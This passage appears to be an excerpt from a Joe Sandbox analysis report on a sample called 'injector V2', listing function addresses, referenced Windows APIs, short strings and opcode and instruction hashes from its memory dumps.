Instruction ID: 2d46eba3fc5fa31c678c6b6dc440f03a7e9b90812e966142dc490e21991dc472
Opcode Fuzzy Hash: d04434aace0846d698a72d21c04062156debf4dab956015e3ba6f3ac5190d4fa
Instruction Fuzzy Hash: 3941F4B0204B818AD7298B3685607B3FBD69F93204F48C9BEC2EB57292D7795547C728

Function 0043DAC0 Relevance: 2.0, Strings: 1, Instructions: 739COMMON

Download Yara Rule

Strings

f, xrefs: 0043DD65

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID: f
API String ID: 2994545307-1993550816
Opcode ID: a6bc692dde4df61ced0f2e28d5ca6a093fdeabf0f0e8c929eecb3d91f9e4e765
Instruction ID: c21e14afe227371aa15767804557fbf9aa7178d8cb9394231b6b81bc83c30101
Opcode Fuzzy Hash: a6bc692dde4df61ced0f2e28d5ca6a093fdeabf0f0e8c929eecb3d91f9e4e765
Instruction Fuzzy Hash: 5C222475A083408FD714CF29D88072BBBE2FBD9314F18966EE4948B391E7B9D805CB56

Function 00425190 Relevance: 1.8, APIs: 1, Instructions: 254comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00445598,00000000,00000001,00445588), ref: 004251B9

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: f4760c72ca3ab4499f60d35f20d53bc6d1762609ce98902aaf529a34552b005c
Instruction ID: fdecdec864341b043be84211c54955d9156eea7555074436d1808e51303fd77b
Opcode Fuzzy Hash: f4760c72ca3ab4499f60d35f20d53bc6d1762609ce98902aaf529a34552b005c
Instruction Fuzzy Hash: CB61F0B0700610ABDB20DB64EC92BB733B4EF81764F444559E946CB3D1E7B9E801C76A

Function 0041FF7F Relevance: 1.7, Strings: 1, Instructions: 441COMMON

Download Yara Rule

Strings

mx, xrefs: 0042023E

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: mx
API String ID: 0-39301968
Opcode ID: c392a851827f09716eb2e356e4afa61a6d4756358f2c37137f751e010903ddc2
Instruction ID: 68be841936758b77fdd231ccc05c5dfdb74d2b6a17be08b4454c7d3ef45dbec4
Opcode Fuzzy Hash: c392a851827f09716eb2e356e4afa61a6d4756358f2c37137f751e010903ddc2
Instruction Fuzzy Hash: 3ED103B2A042218BDB14CF64D8917ABBBF2FF95304F598059DC856F356D3799C01CB98

Function 0042D040 Relevance: 1.6, Strings: 1, Instructions: 387COMMON

Download Yara Rule

Strings

", xrefs: 0042D318

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 5c55e3568b5dab33239933da9159eaf9d7c516b03c83cee6dd5cd0f22fd39608
Instruction ID: 1f59a6d8db6db1c4cd08dfb07f7d58f4dc0d76454265674249241f993d7d03ec
Opcode Fuzzy Hash: 5c55e3568b5dab33239933da9159eaf9d7c516b03c83cee6dd5cd0f22fd39608
Instruction Fuzzy Hash: 0DC116B1F043209BD714DE24E88076BB7E5AB85354F58896FE88587382D738EC45C7D6

Function 0040F096 Relevance: 1.6, Strings: 1, Instructions: 326COMMON

Download Yara Rule

Strings

!%, xrefs: 0040F2A6

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: !%
API String ID: 0-2252526427
Opcode ID: dafa25849e885a7a2376d42495e2191cb13b9e5e33c86b7ce31a2e376f9b8279
Instruction ID: 095aa6f468979c2216630c14da54f820b92c33cc7114d8bedaa3e8fb78293240
Opcode Fuzzy Hash: dafa25849e885a7a2376d42495e2191cb13b9e5e33c86b7ce31a2e376f9b8279
Instruction Fuzzy Hash: 7AA1AC329593908AD3308B64E8853EBB7D1EFD5314F188A7CD8C9A7696DE784805C78A

Function 0040CE52 Relevance: 1.5, Strings: 1, Instructions: 265COMMON

Download Yara Rule

Strings

5W7Q, xrefs: 0040CFF1

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: 5W7Q
API String ID: 0-53030636
Opcode ID: 9f2e4376d6d2164d3b310746f4e0db2411941d6abbaa44c84c5f35703fd36502
Instruction ID: e855a70b173633ad297f356944977ed1d776950710832cb632ea12f46a2b7411
Opcode Fuzzy Hash: 9f2e4376d6d2164d3b310746f4e0db2411941d6abbaa44c84c5f35703fd36502
Instruction Fuzzy Hash: 74814EB6E102208BCB14CF55C8D166BB7B2FF95304B1991ADDC95AF399D7788C02CB98

Function 0040E1EC Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

D, xrefs: 0040E4C5

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 8fd255488a632667800d66de56ea0c4bcc8044c4de3df099d0d0fd0a960c3e48
Instruction ID: 33d89bed4f40e1afedd7c82201469d326f2f1921df322d6b6b95093ff8c1c081
Opcode Fuzzy Hash: 8fd255488a632667800d66de56ea0c4bcc8044c4de3df099d0d0fd0a960c3e48
Instruction Fuzzy Hash: 80B1EEB04193909BE3208F52D49935BBBF1FB96788F109E1CE4D92B364D7BA8505CF86

Function 0042D4A0 Relevance: 1.5, Strings: 1, Instructions: 244COMMON

Download Yara Rule

Strings

", xrefs: 0042D6AE

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: b691a8731d522bf202b6265a6d52436cd82f5d5e5cdb790585c46ddd39a620c4
Instruction ID: 4d70004d7e0d837102e1f13a81e8686068d22dcf9671673e1cf58eb6a6f45ec2
Opcode Fuzzy Hash: b691a8731d522bf202b6265a6d52436cd82f5d5e5cdb790585c46ddd39a620c4
Instruction Fuzzy Hash: F381E532F083255BD714CE2CE88031FB7E2ABC5754FA9856EE4988B395D27CDC45878A

Function 0042FD65 Relevance: 1.5, Strings: 1, Instructions: 243COMMON

Download Yara Rule

Strings

*xb, xrefs: 0042FDF6

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: *xb
API String ID: 0-3984212304
Opcode ID: ff5c5cd6366510db635e0a402306f76eba85caee897ba55cf23bc06e2ebfbb47
Instruction ID: 138be9bd605a9790fe0bb82ec5fa0e8f8c87b12cbd09c3f84ceb05a172731f23
Opcode Fuzzy Hash: ff5c5cd6366510db635e0a402306f76eba85caee897ba55cf23bc06e2ebfbb47
Instruction Fuzzy Hash: 4B816D71614B808BE325CF35C4613A3BBE29F97304F9888AEC1EB4B356C7786509CB55

Function 00442970 Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

5|iL, xrefs: 00442AB0

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID: 5|iL
API String ID: 2994545307-1880071150
Opcode ID: b7b3a01f2354b3d6e40f82884bdda332427d0e770da483c2d08ac698c4eed33d
Instruction ID: 7dccffd2950b5a73c1c818431a4817c4ae86801f2403333fdf190beceb2d0f45
Opcode Fuzzy Hash: b7b3a01f2354b3d6e40f82884bdda332427d0e770da483c2d08ac698c4eed33d
Instruction Fuzzy Hash: 334146396083015FF720AB65CD40B37B392FB85714F64852EFA81A7361D7B8AC11C789

Function 0041E2F0 Relevance: 1.4, Strings: 1, Instructions: 144COMMON

Download Yara Rule

Strings

T, xrefs: 0041E3F6

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: T
API String ID: 0-3187964512
Opcode ID: c32409563b2c7596c104ed382bbe40411a1c4702ea2ee9d655fc10383c8791a7
Instruction ID: 423c329b8857628f80e22b3382421865e9698337571ff4838c1df5a27c93ea85
Opcode Fuzzy Hash: c32409563b2c7596c104ed382bbe40411a1c4702ea2ee9d655fc10383c8791a7
Instruction Fuzzy Hash: 36418D37E193508BD318CB2A886236BBAD26BD2314F1DA55DDCD697380CB79880787C5

Function 00407870 Relevance: .8, Instructions: 826COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a2eb969bb77184854266a119fef9c23d35ad771d632edd9288b43ee4e9cea41
Instruction ID: fd60880f87fd5f042bb55b739f04a02bdf19694a3dd7e8ff49931cbfa69ad538
Opcode Fuzzy Hash: 6a2eb969bb77184854266a119fef9c23d35ad771d632edd9288b43ee4e9cea41
Instruction Fuzzy Hash: E442D631A087158BC724DF28D98066BB3E1FFD4314F29893ED986A73C1D738A955CB46

Function 0042B0FA Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe2e899c0803e4fc9294aae4f4cbe4c31a355d6640e0d9ede45e9b2ee3501428
Instruction ID: 9871563faf61de0b379d819352f8f35fa908966f8758bda5512e374c7c6c0e98
Opcode Fuzzy Hash: fe2e899c0803e4fc9294aae4f4cbe4c31a355d6640e0d9ede45e9b2ee3501428
Instruction Fuzzy Hash: CDA1ED729083648BD710DF28E85166FB7E0FFC6704F05892DE9999B381E7B89905CBC6

Function 004068B0 Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b45b0bc232026ea24688bb9944098decd9a341e30798f64f2ff45377abcb9777
Instruction ID: 2edbebac2ba33129d0d2d2745cd6885b78166fd00be14dc4427e9dfbccafce0b
Opcode Fuzzy Hash: b45b0bc232026ea24688bb9944098decd9a341e30798f64f2ff45377abcb9777
Instruction Fuzzy Hash: 6BC139B2A087518FC360CF28C896BABB7E0BF85318F09492DD5DAD7342D738A555CB46

Function 00443260 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1a8add08464980cb2761a476b59e7278314c31f30e5f629eb31c5be43e253d57
Instruction ID: f74e346c37a6439607478d01926bf0713ef6a22ca836b557cf1b053092e6771f
Opcode Fuzzy Hash: 1a8add08464980cb2761a476b59e7278314c31f30e5f629eb31c5be43e253d57
Instruction Fuzzy Hash: A8910235A083219BD725DF28C48096BB3F2FF88B01F19852DE98597361DB75ED11C789

Function 0040E7D9 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cda4046569b3ce76b98fe6973d56f679305696a09388587b84c3cd15af8373db
Instruction ID: 17931cb77829ba3f94da8b4d72962568ccb3d2037b3c877f76e0a64ad7bc85a2
Opcode Fuzzy Hash: cda4046569b3ce76b98fe6973d56f679305696a09388587b84c3cd15af8373db
Instruction Fuzzy Hash: D38157767452119BC7288B28DC5162BB7D2BBD9314F1E893FE48BE7391D2768C028789

Function 0042B340 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9df3544cdc6688e77c3b4516b687e1db283f7bf3317775ce8e73a2c57993bb9c
Instruction ID: 3edc8fe05abed296fc90330c281933942242c5e4c877e47e5d884f7e3a74bbf1
Opcode Fuzzy Hash: 9df3544cdc6688e77c3b4516b687e1db283f7bf3317775ce8e73a2c57993bb9c
Instruction Fuzzy Hash: 195111745083148BD710EF24EC9166BB3F0FF86309F04896DFA858B392E7B99515CB8A

Function 0042DE10 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e07cf1a0f646272b9961cad698cee4a013d2282455931f9555f41b6ed20b89b4
Instruction ID: 1f26c5e31d1c77a10ea2fc890b697fa0ddb453bf2b94fb93e97bf561998b9954
Opcode Fuzzy Hash: e07cf1a0f646272b9961cad698cee4a013d2282455931f9555f41b6ed20b89b4
Instruction Fuzzy Hash: 7B5168B56047908FE326CB24D9A07B3BBD1EFA7300F1944AED2EB47742C6786805CB59

Function 00426510 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02f44bd946c1f2d02873fd7add9eb3621ba9c3810df1b3d58e1c6e076fefd1c
Instruction ID: f1c84114eb53e5f6dd2c277bfb44aa28e8687856cfae246435dfae2d81435cad
Opcode Fuzzy Hash: b02f44bd946c1f2d02873fd7add9eb3621ba9c3810df1b3d58e1c6e076fefd1c
Instruction Fuzzy Hash: 4721023524C3509BE304CF64E88175FBBE1EBD2708F04893CE0D56B2D1C7B9890A8B86

Function 004379E0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 66d44d8087a3eb04b29204646c0e0e65384397f1bc758f2333f8db79bf2d96e7
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 77110673A091D40EC3229D3C844056ABFA30A97634F19539AE4F59B2D2D6268F8A9359

Function 0042CAB0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93cf4102431860a03011af69eae1a2e8c3aa495d040b5c5cbbf8479e75f13c75
Instruction ID: d00aaa0516ca83e4f86f41f5625c22a84deea6580ae943965f5694fc8de1a1c0
Opcode Fuzzy Hash: 93cf4102431860a03011af69eae1a2e8c3aa495d040b5c5cbbf8479e75f13c75
Instruction Fuzzy Hash: 2A018CF270061147DA20DE15B4C2B2BA2A8AB94708F08443EE84957343DB7AF804D6E9

Function 00402820 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c409e37377122d756683e200e61e216973451adc5ae8440ce1c9bedf68858a57
Instruction ID: 30b2b152add473f6c23690d850704e98a4a1e86c7b4ac96a0281fc068ccec786
Opcode Fuzzy Hash: c409e37377122d756683e200e61e216973451adc5ae8440ce1c9bedf68858a57
Instruction Fuzzy Hash: 71F02B3F71D2150BE320EDF698C4A27F3D6E7D5204F068139EA00D3641D5B4E8019194

Function 0040E714 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62d8f916eceddfe70b51157f17587468dcc5f53ed5a85db78ddbc5d50c948c2b
Instruction ID: 43d1b569583880d07ef5defd1d52dccbae16a574cd8c2488e16fa8404c3c91ce
Opcode Fuzzy Hash: 62d8f916eceddfe70b51157f17587468dcc5f53ed5a85db78ddbc5d50c948c2b
Instruction Fuzzy Hash: AE014E3422434346E368FB15C865DAEF3B46F59308F50143EA14B561E3DF742D45CA69

Function 0040C303 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1673d524a716431d71ad52375fd1f088b51840c654adb7b019f9f6998683c1
Instruction ID: e216245fcd1f02e8d49cd160d73a7276a2793a54deec6a2f5fd7b1151f32daca
Opcode Fuzzy Hash: 0e1673d524a716431d71ad52375fd1f088b51840c654adb7b019f9f6998683c1
Instruction Fuzzy Hash: D4D05EEAE8500047DB099A20EC43552A2664A9F204B0CF035D902C6746EB3DD41A844D

Function 00604CA2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00604CB6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00604CC4
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00604CD5
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00604CE6
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00604CF7
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00604D08
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 00604D19
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00604D2A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 00604D3B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00604D4C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00604D5D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00604D6E
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00604D7F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00604D90
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00604DA1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00604DB2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00604DC3
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00604DD4
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00604DE5
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00604DF6
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 00604E07
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00604E18
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 00604E29
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 00604E3A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 00604E4B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00604E5C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00604E6D
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 00604E7E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00604E8F
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00604EA0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 00604EB1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00604EC2
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 00604ED3
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00604EE4
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 00604EF5
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 00604F06
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 00604F17
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 00604F28
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00604F39
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00604F4A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00604F5B

Strings

GetFileInformationByHandleEx, xrefs: 00604E2F
CloseThreadpoolWait, xrefs: 00604DB8
kernel32.dll, xrefs: 00604CB1
InitializeCriticalSectionEx, xrefs: 00604CFD
FlushProcessWriteBuffers, xrefs: 00604DC9
TryAcquireSRWLockExclusive, xrefs: 00604EC8
CreateSemaphoreW, xrefs: 00604D30
SleepConditionVariableCS, xrefs: 00604E95
FlsSetValue, xrefs: 00604CEC
ReleaseSRWLockExclusive, xrefs: 00604ED9
GetLocaleInfoEx, xrefs: 00604F3F
GetSystemTimePreciseAsFileTime, xrefs: 00604E51
InitializeSRWLock, xrefs: 00604EA6
InitOnceExecuteOnce, xrefs: 00604D0E
FlsFree, xrefs: 00604CCA
SetThreadpoolWait, xrefs: 00604DA7
WaitForThreadpoolTimerCallbacks, xrefs: 00604D74
FlsAlloc, xrefs: 00604CBE
GetTickCount64, xrefs: 00604E1E
SetThreadpoolTimer, xrefs: 00604D63
CloseThreadpoolTimer, xrefs: 00604D85
SleepConditionVariableSRW, xrefs: 00604EEA
FlsGetValue, xrefs: 00604CDB
FreeLibraryWhenCallbackReturns, xrefs: 00604DDA
CreateSemaphoreExW, xrefs: 00604D41
CompareStringEx, xrefs: 00604F2E
GetCurrentProcessorNumber, xrefs: 00604DEB
SubmitThreadpoolWork, xrefs: 00604F0C
CloseThreadpoolWork, xrefs: 00604F1D
SetFileInformationByHandle, xrefs: 00604E40
CreateThreadpoolTimer, xrefs: 00604D52
CreateSymbolicLinkW, xrefs: 00604E01
CreateThreadpoolWork, xrefs: 00604EFB
InitializeConditionVariable, xrefs: 00604E62
AcquireSRWLockExclusive, xrefs: 00604EB7
LCMapStringEx, xrefs: 00604F50
CreateEventExW, xrefs: 00604D1F
WakeAllConditionVariable, xrefs: 00604E84
CreateThreadpoolWait, xrefs: 00604D96
WakeConditionVariable, xrefs: 00604E73
GetCurrentPackageId, xrefs: 00604E0D

Memory Dump Source

Source File: 00000002.00000002.1940053989.00000000005F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000002.00000002.1940023885.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940098407.0000000000613000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940128462.000000000061B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940153408.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1940177326.0000000000621000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5f0000_injector V2.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 386a28745b337e0e84bb090383977d3a84e2e2090bec2c1bcffd76ff4af7bb0b
Instruction ID: 2d4544639c0fabbb2334cd06875d6fac6bfdb0125b7a98165589cac8d6c21863
Opcode Fuzzy Hash: 386a28745b337e0e84bb090383977d3a84e2e2090bec2c1bcffd76ff4af7bb0b
Instruction Fuzzy Hash: CD613575996350ABE7406FF5EC5D8CA3FEBAB0971230EE817B101D3260DBB451828BB5

Function 004345D3 Relevance: 43.9, APIs: 1, Strings: 24, Instructions: 159memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00434691

Strings

1, xrefs: 004347DA
|, xrefs: 004346CA
, xrefs: 0043470A
B, xrefs: 00434611
M, xrefs: 00434609
., xrefs: 0043481A
a, xrefs: 004346AA
=, xrefs: 004347BA
-, xrefs: 0043480A
}, xrefs: 004346DA
\, xrefs: 0043472A
y, xrefs: 004346EA
C, xrefs: 00434619
n, xrefs: 004346FA
), xrefs: 004347FA
O, xrefs: 004345F9
I, xrefs: 004345E9
q, xrefs: 004346BA
R, xrefs: 0043477A
*, xrefs: 004347EA
<, xrefs: 0043479A
, xrefs: 004347AA
h, xrefs: 0043471A
0, xrefs: 00434929

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_injector V2.jbxd

Similarity

API ID: AllocString
String ID: $ $)$*$-$.$0$1$<$=$B$C$I$M$O$R$\$a$h$n$q$y$|$}
API String ID: 2525500382-1673335896
Opcode ID: 96f3470083bcea610ea27e4d5848164b65705ac2e25992b9fb022690808485dd
Instruction ID: 1ef3aa5047203b16d8c5945151d0c6b62c14190839ef1e643782a11274fd5212
Opcode Fuzzy Hash: 96f3470083bcea610ea27e4d5848164b65705ac2e25992b9fb022690808485dd
Instruction Fuzzy Hash: D591D76150C7C18EE3328B3C884979BBFD16BA7224F084A9ED5E84B2D3C7794549C727

Function 0043406C Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 114COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 004340B2

Strings

-, xrefs: 00434164
8, xrefs: 00434154
%, xrefs: 00434184
7, xrefs: 0043411C
4, xrefs: 00434174
1, xrefs: 004340EC
5, xrefs: 0043410C
<, xrefs: 00434134
3, xrefs: 004340FC
?, xrefs: 004340DC

Memory Dump Source

Source File: 00000002.00000002.1939914379.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

